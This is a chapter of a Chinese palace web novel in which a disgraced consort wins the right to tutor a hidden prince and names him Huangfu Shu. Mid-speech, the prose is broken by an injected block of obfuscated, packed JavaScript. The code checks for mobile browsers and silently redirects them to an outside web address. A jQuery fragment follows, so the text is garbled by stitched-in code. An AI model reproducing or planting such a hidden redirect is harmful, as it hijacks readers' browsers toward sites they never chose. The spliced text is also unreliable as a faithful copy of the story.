第二日,天刚蒙蒙亮的时候,娄庄姬就起床了。
她一晚上都没有睡着,满脑子想着柳美人那张干瘦蜡黄的脸,和她身后牵着的一个面目模糊的小孩。
虽然冷宫中不讲究修饰仪容,但她还是仔细地整理着装、梳好发髻,力求把自己打扮得体面。一旁半梦半醒的涂才人嘲笑道:
“你穿得再花哨,顶着黑眼圈和肿眼皮也好看不到哪去。”
娄庄姬不理她,径直朝柳美人的房间走去。
涂才人的预言没错。柳美人的房门,不似其他房间的漏风、缺口,上面糊了一层又一层浆纸,距人于千里之外的紧闭,像一张撬不开的嘴。
面对娄庄姬,这张嘴保持了一贯的严实。
娄庄姬吃了一次实打实的闭门羹,灰溜溜地回到房间。涂才人一边坐在床边嗑瓜子,一边笑嘻嘻地道:
“喂,见到小殿下了吗,他多高,多胖啊?”
娄庄姬没心思跟她拌嘴,靠在窗边生闷气。
涂才人拍了拍身上的瓜子壳,站起来走向她,说道:
“现在可不是婕妤娘娘了,不是谁都会给你开门。更何况,人家又不知道你打的什么主意,万一你揣着一肚子坏水呢,体谅一下为娘的心情吧。”
说着,她给娄庄姬递了把瓜子。娄庄姬没多想,神使鬼差地就接过了。
涂才人笑着揽过她的肩膀,说道:
“告诉我,你找那孩子是要干嘛呀?这件事我说着玩玩,你知道就够了,人家母子俩的事,用得着外人操心吗?”
“她为什么要把孩子藏起来?若是皇上知道与她育有一个皇子,难道不会放她出来,母子安享富贵吗?”
“哼,皇帝根本不在乎。”
“这可是皇子。”
“皇子又怎样,你想揭发她,去告诉皇上吗?”
娄庄姬感到落在她脸上的目光变得像刀一样尖锐,一抬头,涂才人第一次露出了像狼审视猎物一样的眼神。她佯作镇定。
“不,我想她一定有苦衷,我不会做伤害她意愿的事。”
涂才人的目光柔和一些。
“的确,每个人都有苦衷。”
“虽然我今天敲不开她的门,但日子久了,或许她哪一天愿意了呢?”
“你真的想见那孩子吗,非见不可吗?”
“是的。”
“我话说在前面,这件事你忘了最好,若是卷进来,就没有那么容易抽身了。
娄庄姬迟疑着点了点头,紧跟着又重重地点了一次。
“好吧,不用你天天去人家门前守着那么麻烦,我跟你一起去,她知道是我就会开门。”
“什么?真的吗?”
“想要见皇子,她不是第一关,我才是。”
柳美人的门打开了。而一看到站在涂才人身后的娄庄姬,她的脸色一下子沉下来了,在她四周形成了一种警惕与排斥的气压。娄庄姬觉得她很像一头护着幼崽的母兽,虽然这头母兽已经形销骨立、面色枯槁,仍没有忘记时刻绷紧神经,敌视可能会威胁她孩子的一切。
涂才人倒是大大咧咧,拉着娄庄姬的衣袖就进了门。
柳美人的房间又小又暗,窗户关得严实,大白天室内仅靠一盏火光微弱的油灯照明。
与其他房间形成鲜明对照的是它整洁干净得出奇,不知是不是光线不好模糊了视线,一眼扫去看不见任何蜘蛛网、老鼠屎、蚊虫残躯一类的秽物。
连柳美人自己,也是高盘云髻、衣带整肃、面庞干净,荆钗布裙也难掩她的气质。娄庄姬庆幸自己早晨梳洗了一番,不然肯定要遭她白眼。
娄庄姬一进屋就四处逡巡,可并没有看见孩童的身影,连一双小鞋、小衣服都没有。徒有四壁的房间,哪儿能藏下一个孩子呢?
没等她接着猜想,柳美人就开始诘问了:
“她想干什么?”
涂才人关上门,屋内更黑了。四方的空间挤压着娄庄姬,让她突然心生惧意,恐怕自己是踏进了一个猎物的笼子里了。
涂才人悠悠答道:“她一定要见见你的儿子。我还不知道她打的什么主意呢?不过没事,”
她顿了一顿,贴在娄庄姬后颈吐气,明显是威胁她,“她要是有什么对你和你儿子不利的想法,我们也可以在这里结果了她嘛。”
娄庄姬感到一阵凉意顺着颈椎攀上来。
涂才人又笑着拍她的肩膀。
“开个玩笑。”
“先听听她的主意。”
娄庄姬终于可以说出自己的计划了,但在这样神经兮兮的气氛下,她的开口只得小心翼翼的。
“姐姐的皇子养在这个地方,妹妹情知是迫不得已,吃穿用度都缺少些,想必也难得学些诗书经文。皇子禀赋非常,只怕白白蹉跎时光,被浪费了。妹妹虽不才,但愿将少时私塾中所学见闻,尽数讲与皇子,或能有所助益。“
她面前的两人静静听完她的一番话,不约而同地皱起了眉头。
“说了这么多文绉绉的绕来绕去,你想当我儿的老师,给他讲诗书?”柳美人冷笑,“不必了,我也自诩有些学问,这些年,也没忘了教他识字读书。”
娄庄姬又尝试道:
“敢问姐姐的皇子贵庚?”
“虚岁十二。”
竟然在冷宫将孩子养到这么大了!
“不知他现在读什么书?”
柳美人支支吾吾的:“已经会背几首诗了···这关你什么事?”
“这个年龄的皇子,该要熟读四书了。天赋高的,已经可以写作政论了。”
柳美人不说话了,脸上是一种混着羞赧与哀伤的复杂神色。
娄庄姬知道,纵使这个孩子见不得光,做母亲的也盼望着他成才。柳美人这样哀愁,明显是觉得孩子被耽误了。
涂才人插嘴道:“她教不了她儿子,你就教的了?”
娄庄姬挺起了胸膛,自信地说:“家父领史馆修撰,最重读书,教导子女必要博览群书、通晓经文。我虽然是家中最不成器的一个,粗粗教授四书五经还是够格的。又加上家中史书最多,我自小翻阅,可为皇子评论古今盛衰,虽然比不上外面大学士那样渊博,倒也堪堪。”
涂才人乐了:“瞧瞧,真说到她得意之处了。”
柳美人显然有些动心了。
“这么做对你有什么好处?”
娄庄姬昨夜早已构思好了这个问题的答案,此刻脱口而出:
“妹妹后半生,恐怕要在冷宫中凄清度日,最后玉殒香消,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974344|193489||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
恐怕无人知晓。只可惜一生草草而过,既无子嗣繁衍,又无诗文流传。妹妹不甘心身后寂寞,愿略尽绵薄之力,裨益姐姐皇子,他日殿下有成,妹妹亦不悔此生。”
她言辞恳切,句句凄婉,咬定了自己没有出头之日,把情状描述得可怜至极,以望博取同情。
她又以情动人:“何况妹妹愿与姐姐们作伴,又沾一沾皇子青春旺盛之气,日子也不会那么难熬。姐姐也知道,深宫孤寂,着实让人经受不住啊。”
柳美人沉默了,像是内心在进行一番艰难的斗争。
半晌,她长吁一口气,说道:“好吧。”
娄庄姬大喜过望,还没来得及道谢,柳美人向床榻的方向叫了一声:
“我儿,出来见见你师父吧。”
话音刚落,松垮的床板开始颤动。娄庄姬目不转睛,看见从黑漆漆的床底下,钻出一个人影来。
谁家的皇子会从床板底下钻出来啊!她惊得嘴巴都闭不上了。
那孩子走近了,娄庄姬得以上上下下仔细打量他一番。
他很矮,很瘦,完全不似一个虚岁十二的少年应有的体格,放在七八岁的孩子里面,也算瘦弱的,仿佛风一吹就会飘走,留他的母亲望眼欲穿。身上的衣服,明显已经很旧了,应该是几年前做的,现在居然还没有显小。而且,由于久居室内,他面庞白的发青,像一张透明的宣纸,一戳就破。还有那双不知向哪安放的骨碌碌、黑漆漆的大眼睛,在他的脸上存在感那么强,将木讷和狡黠出奇地揉在一个人身上。
柳美人指着娄庄姬告诉他:“这位姐姐以后就是你的师父了。你现在要拜师,要行跪拜礼。”
娄庄姬赶忙拦住要跪下的少年,抓住他胳膊的时候吓了一跳:这与抓住一根骨头有什么分别。
“妾经不起殿下大礼。”
柳美人坚持让她受礼:“我们虽然在冷宫中,该有的规矩还是要有。我们没有什么能给师父的礼品,就让他把叩首礼行完吧。”
娄庄姬只好先为少年整理他洗的发白的衣服。然后端立着,看着他在自己脚边给自己磕了三个响头。
紧接着,柳美人又倒了一杯冷茶,让他奉给她。娄庄姬接过,从容饮下。
她复述了当年自己师父给她念的训言:
“···尊师重道,友爱同门···吾道以仁心立本,以勤勉为径···入则孝,出则悌,谨而信,泛爱众,而亲仁···”
娄庄姬摘下手上的玉镯子,将它套上少年纤细的手腕,道:“我身上也没有什么书籍,文房四宝更是一件不存。只有这镯子还算宝物,就将它赠予弟子,以为师徒之证。”
师徒之礼已成。
“对了,还不知道殿下的名字呢?”
柳美人脸红了:“我还未敢给他取名字。”
娄庄姬明白了:她心里一定还有一点期待,期待有一天这个孩子恢复名分,能得到皇帝亲赐的名字。
涂才人说:“名字本来就是身外之物,若你平常叫着不方便,你作为师父给他起一个也没什么大不了的。”柳美人点头表示同意。
娄庄姬深思熟虑,蹲下来,牵着少年的手,一字一句地说:
“澍,你的名叫澍,意思是久旱逢霖,逢凶化吉。你叫皇甫澍。”